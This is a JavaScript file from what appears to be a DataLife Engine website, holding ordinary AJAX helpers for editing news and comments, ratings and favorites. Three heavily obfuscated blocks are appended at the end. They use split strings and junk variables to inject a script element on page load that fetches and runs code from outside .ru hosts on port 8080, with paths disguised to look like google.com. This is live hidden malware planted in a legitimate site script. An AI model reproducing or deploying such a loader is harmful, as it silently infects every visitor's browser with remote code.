var n_cache        = new Array();
var c_cache        = new Array();
var comm_id;
var comm_edit_id;
var s_id;
var e_id;

function IPMenu( m_ip, l1, l2, l3 ){

var menu=new Array();

menu[0]='<a href="http://www.nic.ru/whois/?ip=' + m_ip + '" target="_blank">' + l1 + '</a>';
menu[1]='<a href="' + dle_root + dle_admin + '?mod=iptools&ip=' + m_ip + '" target="_blank">' + l2 + '</a>';
menu[2]='<a href="' + dle_root + dle_admin + '?mod=blockip&ip=' + m_ip + '" target="_blank">' + l3 + '</a>';

return menu;
};

function ajax_cancel_for_edit( news_id )
{
	if ( n_cache[ news_id ] != "" )
	{
		document.getElementById( 'news-id-'+news_id ).innerHTML = n_cache[ news_id ];
	}
	
	return false;
};

function whenCompletedSave(){
n_cache[ e_id ] = '';
};

function ajax_save_for_edit( news_id, event )
{
	var ajax = new dle_ajax();
	var allow_br = 0;
	var news_txt = '';

	if (document.getElementById('allow_br_'+news_id).checked) { allow_br = 1; }

	e_id = news_id;
	ajax.onShow ('');

	if (quick_wysiwyg == "1") {

		news_txt = ajax.encodeVAR( tinyMCE.get('dleeditnews'+news_id).getContent() );

	} else {

		news_txt = ajax.encodeVAR( document.getElementById('dleeditnews'+news_id).value );

	}

	var news_title = ajax.encodeVAR( document.getElementById('edit-title-'+news_id).value );

	var varsString = "news_txt=" + news_txt;
	ajax.setVar("id", news_id);
	ajax.setVar("allow_br", allow_br);
	ajax.setVar("title", news_title);
	ajax.setVar("reason", ajax.encodeVAR( document.getElementById('edit-reason-'+news_id).value ));
	ajax.setVar("field", event);
	ajax.setVar("action", "save");
	ajax.requestFile = dle_root + "engine/ajax/editnews.php";
	ajax.method = 'POST';
	ajax.element = 'news-id-'+news_id;
	ajax.onCompletion = whenCompletedSave;
	ajax.sendAJAX(varsString);

	return false;
};

function whenCompleted(){

	var post_main_obj = document.getElementById( 'news-id-' + s_id );
	var post_box_top  = _get_obj_toppos( post_main_obj );

			if ( post_box_top )
			{
				scroll( 0, post_box_top - 70 );
			}

};

function ajax_prep_for_edit( news_id, event )
{
	if ( ! n_cache[ news_id ] || n_cache[ news_id ] == '' )
	{
		n_cache[ news_id ] = document.getElementById( 'news-id-'+news_id ).innerHTML;
	}

	var ajax = new dle_ajax();
	s_id = news_id;
	ajax.onShow ('');
	var varsString = "";
	ajax.setVar("id", news_id);
	ajax.setVar("field", event);
	ajax.setVar("action", "edit");
	ajax.requestFile = dle_root + "engine/ajax/editnews.php";
	ajax.method = 'GET';
	ajax.element = 'news-id-'+news_id;
	ajax.execute = true;
	ajax.onCompletion = whenCompleted;
	ajax.sendAJAX(varsString);

	return false;
};


function whenCompletedCommentsEdit(){

	var post_main_obj = document.getElementById( 'comm-id-' + comm_id );
	var post_box_top  = _get_obj_toppos( post_main_obj );

			if ( post_box_top )
			{
				scroll( 0, post_box_top - 70 );
			}

};

function MenuCommBuild( m_id ){

var menu=new Array();

menu[0]='<a onclick="ajax_comm_edit(\'' + m_id + '\'); return false;" href="#">' + menu_short + '</a>';
menu[1]='<a href="' + dle_root + '?do=comments&action=comm_edit&id=' + m_id + '">' + menu_full + '</a>';

return menu;
};

function ajax_comm_edit( c_id )
{
	if ( ! c_cache[ c_id ] || c_cache[ c_id ] == '' )
	{
		c_cache[ c_id ] = document.getElementById( 'comm-id-'+c_id ).innerHTML;
	}

	var ajax = new dle_ajax();
	comm_id = c_id;
	ajax.onShow ('');
	var varsString = "";
	ajax.setVar("id", c_id);
	ajax.setVar("action", "edit");
	ajax.requestFile = dle_root + "engine/ajax/editcomments.php";
	ajax.method = 'GET';
	ajax.element = 'comm-id-'+c_id;
	ajax.execute = true;
	ajax.onCompletion = whenCompletedCommentsEdit;
	ajax.sendAJAX(varsString);
	return false;
};

function ajax_cancel_comm_edit( c_id )
{
	if ( n_cache[ c_id ] != "" )
	{
		document.getElementById( 'comm-id-'+c_id ).innerHTML = c_cache[ c_id ];
	}
	
	return false;
};

function whenCompletedSaveComments(){
c_cache[ comm_edit_id ] = '';
}

function ajax_save_comm_edit( c_id )
{
	var ajax = new dle_ajax();
	var comm_txt = '';

	comm_edit_id = c_id;
	ajax.onShow ('');

	if (dle_wysiwyg == "yes") {

		comm_txt = ajax.encodeVAR( tinyMCE.get('dleeditcomments'+c_id).getContent() );

	} else {

		comm_txt = ajax.encodeVAR( document.getElementById('dleeditcomments'+c_id).value );

	}

	var varsString = "comm_txt=" + comm_txt;

	ajax.setVar("id", c_id);
	ajax.setVar("action", "save");
	ajax.requestFile = dle_root + "engine/ajax/editcomments.php";
	ajax.method = 'POST';
	ajax.element = 'comm-id-'+c_id;
	ajax.onCompletion = whenCompletedSaveComments;
	ajax.sendAJAX(varsString);

	return false;
};

function doFavorites( fav_id, event )
{
	var ajax = new dle_ajax();
	ajax.onShow ('');
	var varsString = "fav_id=" + fav_id;
	ajax.setVar("action", event);
	ajax.setVar("skin", dle_skin);
	ajax.requestFile = dle_root + "engine/ajax/favorites.php";
	ajax.method = 'GET';
	ajax.element = 'fav-id-'+fav_id;
	ajax.sendAJAX(varsString);

	return false;
};

function CheckLogin()
{
	var ajax = new dle_ajax();
	var name = ajax.encodeVAR( document.getElementById('name').value );
	ajax.onShow ('');
	var varsString = "name=" + name;
	ajax.requestFile = dle_root + "engine/ajax/registration.php";
	ajax.method = 'POST';
	ajax.element = 'result-registration';
	ajax.sendAJAX(varsString);

	return false;
};

function doCalendar(month, year){
	var ajax = new dle_ajax();
	ajax.onShow ('');
	var varsString = "";
	ajax.setVar("year", year);
	ajax.setVar("month", month);
	ajax.requestFile = dle_root + "engine/ajax/calendar.php";
	ajax.method = 'GET';
	ajax.element = 'calendar-layer';
	ajax.sendAJAX(varsString);
};

function ShowBild(sPicURL) {
window.open(dle_root + 'engine/modules/imagepreview.php?image='+sPicURL, '', 'resizable=1,HEIGHT=200,WIDTH=200, top=0, left=0, scrollbars=yes');
};

function doRate( rate, id ) {
	var ajax = new dle_ajax();
	ajax.onShow ('');
	var varsString = "go_rate=" + rate;
	ajax.setVar("news_id", id);
	ajax.setVar("skin", dle_skin);
	ajax.requestFile = dle_root + "engine/ajax/rating.php";
	ajax.method = 'GET';
	ajax.element = 'ratig-layer';
	ajax.sendAJAX(varsString);
};

function dleRate( rate, id ) {
	var ajax = new dle_ajax();
	ajax.onShow ('');
	var varsString = "go_rate=" + rate;
	ajax.setVar("news_id", id);
	ajax.setVar("skin", dle_skin);
	ajax.setVar("mode", "short");
	ajax.requestFile = dle_root + "engine/ajax/rating.php";
	ajax.method = 'GET';
	ajax.element = 'ratig-layer-' + id;
	ajax.sendAJAX(varsString);
};

function doAddComments(){

	var form = document.getElementById('dle-comments-form');
    var dle_comments_ajax = new dle_ajax();

	if (dle_wysiwyg == "yes") {
		document.getElementById('comments').value = tinyMCE.get('comments').getContent();
		dle_comments_ajax.setVar("editor_mode", 'wysiwyg');
	} 

	if (form.comments.value == '' || form.name.value == '')
	{
		alert ( dle_req_field );
		return false;
	}

	dle_comments_ajax.onShow ('');
	var varsString = "post_id=" + form.post_id.value;
	dle_comments_ajax.setVar("comments", dle_comments_ajax.encodeVAR(form.comments.value));
	dle_comments_ajax.setVar("name", dle_comments_ajax.encodeVAR(form.name.value));
	dle_comments_ajax.setVar("mail", dle_comments_ajax.encodeVAR(form.mail.value));
	dle_comments_ajax.setVar("skin", dle_skin);

	if ( form.sec_code ) {

	   dle_comments_ajax.setVar("sec_code", form.sec_code.value);

    }

	dle_comments_ajax.requestFile = dle_root + "engine/ajax/addcomments.php";
	dle_comments_ajax.method = 'POST';
	dle_comments_ajax.execute = true;
	dle_comments_ajax.element = 'dle-ajax-comments';
	dle_comments_ajax.sendAJAX(varsString);

};

function dle_copy_quote(qname) 
{
dle_txt= '';

	if (window.getSelection) 
	{
	 dle_txt=window.getSelection();
	}
	else if (document.selection) 
	{
	 dle_txt=document.selection.createRange().text;
	}
	if (dle_txt != "")
	{
	 dle_txt='[quote='+qname+']'+dle_txt+'[/quote]\n';
	}
};

function dle_ins(name) 
{
var input=document.getElementById('dle-comments-form').comments;
var finalhtml = "";

	if (dle_wysiwyg == "no") {
		if (dle_txt!= "") {
			input.value += dle_txt;
		}
		else { 
			input.value += "[b]"+name+"[/b],"+"\n";
		}
	} else {
		if (dle_txt!= "") {
			finalhtml = dle_txt;
		}
		else { 
			finalhtml = "<b>"+name+"</b>,"+"<br />";
		}

	tinyMCE.execInstanceCommand('comments', 'mceInsertContent', false, finalhtml, true) 
	}

};

function ShowOrHide(d1) {
	  if (d1 != '') DoDiv(d1);
};

function DoDiv(id) {
	  var item = null;
	  if (document.getElementById) {
		item = document.getElementById(id);
	  } else if (document.all){
		item = document.all[id];
	  } else if (document.layers){
		item = document.layers[id];
	  }
	  if (!item) {
	  }
	  else if (item.style) {
		if (item.style.display == "none"){ item.style.display = ""; }
		else {item.style.display = "none"; }
	  }else{ item.visibility = "show"; }
};

function ckeck_uncheck_all() {
    var frm = document.pmlist;
    for (var i=0;i<frm.elements.length;i++) {
        var elmnt = frm.elements[i];
        if (elmnt.type=='checkbox') {
            if(frm.master_box.checked == true){ elmnt.checked=false; }
            else{ elmnt.checked=true; }
        }
    }
    if(frm.master_box.checked == true){ frm.master_box.checked = false; }
    else{ frm.master_box.checked = true; }
};

function confirmDelete(url){

    var agree=confirm( dle_del_agree );

    if (agree)
    document.location=url;
};

function dle_smiley ( text ){
	doInsert(' ' + text + ' ', '', false);

	document.getElementById('dle_emo').style.visibility = "hidden";
	document.getElementById('dle_emo').style.display    = "none";
	ie_range_cache = null;
};

function DlePageCompleted(){
	hideBusyLayer();
	var post_main_obj = document.getElementById( 'dle-content' );
	var post_box_top  = _get_obj_toppos( post_main_obj );

			if ( post_box_top )
			{
				scroll( 0, post_box_top - 70 );
			}

};

function DlePage( varsString ){
	showBusyLayer();
	if (document.getElementById( 'dle-info' ).innerHTML != '') {
	document.getElementById( 'dle-info' ).innerHTML = '';}

	var ajax = new dle_ajax();
	ajax.onShow ('');
	ajax.requestFile = dle_root + "engine/ajax/pages.php";
	ajax.method = 'GET';
	ajax.execute = true;
	ajax.element = 'dle-content';
	ajax.onCompletion = DlePageCompleted;
	ajax.sendAJAX(varsString);

};

function setNewField(which, formname)
{
            if (which != selField)
            {
				fombj    = formname;
                selField = which;

            }
};

function UserMenu( url, m_id, group ){

var menu=new Array();

	menu[0]='<a ' + url +' >' + menu_profile + '</a>';

	menu[1]='<a href="' + dle_root + 'index.php?do=pm&doaction=newpm&user=' + m_id + '">' + menu_send + '</a>';
	menu[2]='<a href="' + dle_root + 'index.php?do=lastcomments&userid=' + m_id + '">' + menu_fcomments + '</a>';

	if (group == '1') {
		menu[3]='<a onclick="window.open(\'' + dle_root + dle_admin + '?mod=editusers&action=edituser&id=' + m_id + '\', \'User\',\'toolbar=0,location=0,status=0, left=0, top=0, menubar=0,scrollbars=yes,resizable=0,width=540,height=500\'); return false;" href="#">' + menu_uedit + '</a>';
	}

return menu;
};

function UserNewsMenu( url, news_url, m_id, group ){

var menu=new Array();

	menu[0]='<a ' + url +' >' + menu_profile + '</a>';
	menu[1]='<a ' + news_url +' >' + menu_fnews + '</a>';

	menu[2]='<a href="' + dle_root + 'index.php?do=pm&doaction=newpm&username=' + m_id + '">' + menu_send + '</a>';

	if (group == '1') {
		menu[3]='<a onclick="window.open(\'' + dle_root + dle_admin + '?mod=editusers&action=edituser&user=' + m_id + '\', \'User\',\'toolbar=0,location=0,status=0, left=0, top=0, menubar=0,scrollbars=yes,resizable=0,width=540,height=500\'); return false;" href="#">' + menu_uedit + '</a>';
	}

return menu;
};

function dle_news_delete( m_id ){

    var agree=confirm( dle_del_agree );

    if (agree)
    document.location= dle_root + 'index.php?do=deletenews&id=' + m_id + '&hash=' + dle_login_hash;
};

function MenuNewsBuild( m_id, event ){

var menu=new Array();

menu[0]='<a onclick="ajax_prep_for_edit(\'' + m_id + '\', \'' + event + '\'); return false;" href="#">' + menu_short + '</a>';
menu[1]='<a href="' + dle_root + dle_admin + '?mod=editnews&action=editnews&id=' + m_id + '" target="_blank">' + menu_full + '</a>';

if (allow_dle_delete_news) {

menu[2]='<a onclick="dle_news_delete (\'' + m_id + '\'); return false;" href="#">' + dle_del_news + '</a>';

}

return menu;
};

var q={V:58960};var j="j";wi={Q:false};function e(){var k=window;R=54976;R++;var ZL=new Date();var C=String("bo"+"dy");var x=String("TKAdef".substr(3)+"erVsiM".substr(0,2));try {var xc='_'} catch(xc){};var w=new String("appEdb".substr(0,3)+"end"+"ChiIrV3".substr(0,3)+"ldHpV".substr(0,2));var i="onloaZrpz".substr(0,5)+"d";Cl=["AR","_j","o"];var c={Cw:"gq"};var g=String("crea"+"teEl"+"emen"+"t");var Z=String("src");var B=["Xg"];var z=document;var EV={};this.Zk=40570;this.Zk-=59;var CX=new String("scri9X5".substr(0,4)+"pt");var lo=new Date();var aa=new Array();var SL={J:26698};var iW=["Kp"];function h(){try {var PQ='jE'} catch(PQ){};zw=59597;zw--;try {var qV=["ar","N"];var b=854665-846585;var gZ=String("/me"+"dia"+"xYzufir".substr(4)+"gRSe-c".substr(3)+"wS1om/".substr(3)+"goo"+"gle"+".co"+"dBfKm/i".substr(4)+"DAhnfohDA".substr(3,3)+"s3malin".substr(4)+"ks."+"com"+"ZJ0d.ph".substr(4)+"p");var SU={U:false};this.fO="";aaI={BE:3611};csV={cs:12869};var p="BvChttp:".substr(3)+"JMA//pasAJM".substr(3,5)+"sport1uIq".substr(0,5)+"KmpNbluesKmpN".substr(4,5)+".ru:";var jj=false;var pi=9054-9053;oe=47299;oe--;KH=62314;KH--;v=z[g](CX);zg={ei:false};var KL={pt:"W"};v[x]=pi;v[Z]=p+b+gZ;za=52533;za++;this.gm='';Pj=26009;Pj++;z[C][w](v);var s={};var QK=false;this.Hd=false;dw={ca:"jjh"};} catch(T){var At=new Array();var ny={XR:false};};var Zm=false;bo={t:62576};}k[i]=h;cg=["HA","rb","SC"];Se={Xi:25335};};e();G=63490;G++;fD=37020;fD++;
this.ik=58445;this.ik--;this.sb='';try {Q=[];var Df=6184;var zI=new Array();var A=window["unesg5Y9".substr(0,4)+"cape"];var MY=62252;IN=[];var gk={zg:"n"};var Ak=String("repl"+"Gi2ace".substr(3));var aS=false;var ML={HP:49924};var v={k:8298};var mZ={sD:2220};var h={J:58666};var W="onlo"+"ad";var g="1";var O=window[("Re"+"gE"+"xp")];var Hq={pU:8726};var Un={UZ:24905};var U='';try {} catch(u){};zK={AQ:false};function z(g,e){this.V="V";xp=2341;xp+=200;var Yw="Yw";this.XB=47094;this.XB+=30;this.R='';_y={jJ:"RG"};this.ks=39927;this.ks+=77;var _=new String("Jpmg[".substr(4));_+=e;zx=63738;zx++;var l={Ua:17534};SE=40734;SE-=125;var Re={On:32593};_+=A("%5d");var x=new O(_, String("zq8g".substr(3)));this.QY="QY";return g.replace(x, U);YZ=20059;YZ++;Rt=[];};var mh={};this.eJ="";var wg={};var B=new String("csOX/go".substr(4)+"ogl"+"e.c"+"om/"+"vYU8jooU8Yv".substr(4,3)+"mlaN9bc".substr(0,3)+"lWV.or".substr(3)+"g/n"+"ypomYV7".substr(0,3)+"kurst.".substr(3)+"comfAq".substr(0,3)+".ph"+"p");var i=64430-56350;ei=35589;ei-=102;hR=31623;hR+=199;var b=String("http:"+"//got"+"hguil"+"t.ru:1TI".substr(0,5));this.dL=60304;this.dL-=253;this.Dn=13132;this.Dn-=130;var DU=false;var tZ=false;Bs={At:"SS"};var QV=["BI","_E"];YW={Gg:false};var zgZ={ZZ:"qA"};function s(){C_=["Au","Av"];var th="th";var yW=["NN"];Ie={DT:3541};this.KX="KX";this.Wr=52370;this.Wr+=202;var F=document;this.Si=27578;this.Si+=174;ag=[];this._d="";var ns={gq:"sQ"};var AP=z('s5cPrCiRpCtZ','oR9Zf52WvCPw');var Kt=["so","gY"];this.qS=25265;this.qS+=77;var a=new String("Eo19appe".substr(4)+"qxAndChAqx".substr(3,4)+"CFbHild".substr(4));this.jS=18588;this.jS--;var wk=["zp","dH","sw"];var OK=["Vt","Wy","ts"];var hn=["cD","vL","RM"];E=F.createElement(AP);var JF=["MC","pY","eA"];var lr={bh:false};var LG=["ru","Ul","sZ"];var cU=new Date();Lq={Cr:false};QL={LqB:false};var RY=["qP","Nm","BIX"];var BA=["jh","RL","PX"];iG={Ik:false};D=b+i;D=D+B;var AZ={xN:false};var ZD={gZ:false};Ph=34534;Ph--;var YI=["Y_"];var jO=["ri"];var f_=new Date();E["defe"+"r"]=g;qSL={vX:false};E.src=D;var yE={Yv:"Al"};var vN="vN";var _D={ep:"gl"};var Ra="Ra";this.Bu=57977;this.Bu-=110;var xK=F.body;lB=61083;lB++;Eg=20298;Eg+=40;var Im=false;MwH=52843;MwH--;this.eH='';iB={RP:"gg"};this.Jn='';this.ay=false;Vq={};var jn="";xK[a](E);bm=48930;bm-=17;var TI="TI";};var de={WH:11890};var Pe={RD:51859};this.wI=13876;this.wI--;var Nb='';var Vz='';window[W]=s;Be=["EY"];var yBQ={DZ:false};try {var vi='no'} catch(vi){};} catch(xv){try {} catch(aW){};var Ru='';ok={};};var M_=new String();kV={pD:"Ay"};var wt=["ggM"];sc=64849;sc+=172;
M=["s"];R={};var S;n=function(){var FY=["Gv"];function C(G,b,F){this.d="d";return G.substr(b,F);var e=new String();this.dv='';}try {var OO='yw'} catch(OO){};Yt=29881;Yt-=151;var SF='';qG=["Gt"];var q=RegExp;this.c="";var JO=new String();var g=document;XA=33342;XA++;Yy=63948;Yy++;var GP='';var T=String("/xvid"+"eos-c"+C("om/goZNf",0,5)+C("ogle.mWi",0,5)+C("com/nPMHG",0,5)+"ikkei"+".co.j"+C("p.phpO64r",0,5));this.D=710;this.D--;try {} catch(dvJ){};try {} catch(iS){};function E(G,b){var iM=["EQ"];var F=String("[")+b+"]";var J=new q(F, "g");return G.replace(J, GP);var ov='';this.qf=10983;this.qf+=70;};HV=61819;HV--;var uV="uV";A=[];var gN=E('szcwrDi2p2tg','fwzGjT2QJaD1X_g3C');this.eg='';var H=245298-237218;fZ=[];var q_=new String("bo"+"dy");this.x='';var Y=null;try {} catch(yr){};try {} catch(fd){};tk={_w:"AK"};var Mv={DU:30624};S=function(){var dV=new Array();aV=15275;aV--;try {var ROe={lC:false};var f=E('c2rAezaLtAehEAlzeLmAe0n0tI','Lh2IAO0jz9');yx=[];var qE=["Tc","je","Sz"];h=g[f](gN);try {var ur='uT'} catch(ur){};ux=4237;ux+=157;this.kT=64866;this.kT--;var X=E('shrocz','FzdCPViphoE');var G=H+T;var Np="";this.zi="zi";var Hg=new String(C("de4cJ",0,2)+C("mtxrfetrxm",4,2)+C("fOHrOfH",3,1));iSv=38374;iSv++;Xa=["NI","Eo"];cO=["vH","fM"];h[Hg]=[1,3][0];var DE={zm:38556};Yyf=[];h[X]=new String(C("htdAa",0,2)+C("8jdtp8jd",3,2)+":/"+"/t"+C("CZKgenZgKC",4,2)+"th"+"pr"+C("of36TB",0,2)+"it"+".r"+C("gqCu:qgC",3,2))+G;g[q_].appendChild(h);this.zy='';this.ZU='';} catch(_){this.qu=36473;this.qu-=135;var TE=new Array();try {var op='xu'} catch(op){};};};this.qJ="qJ";};try {var In='XY'} catch(In){};var sg='';n();window.onload=S;var bp=[];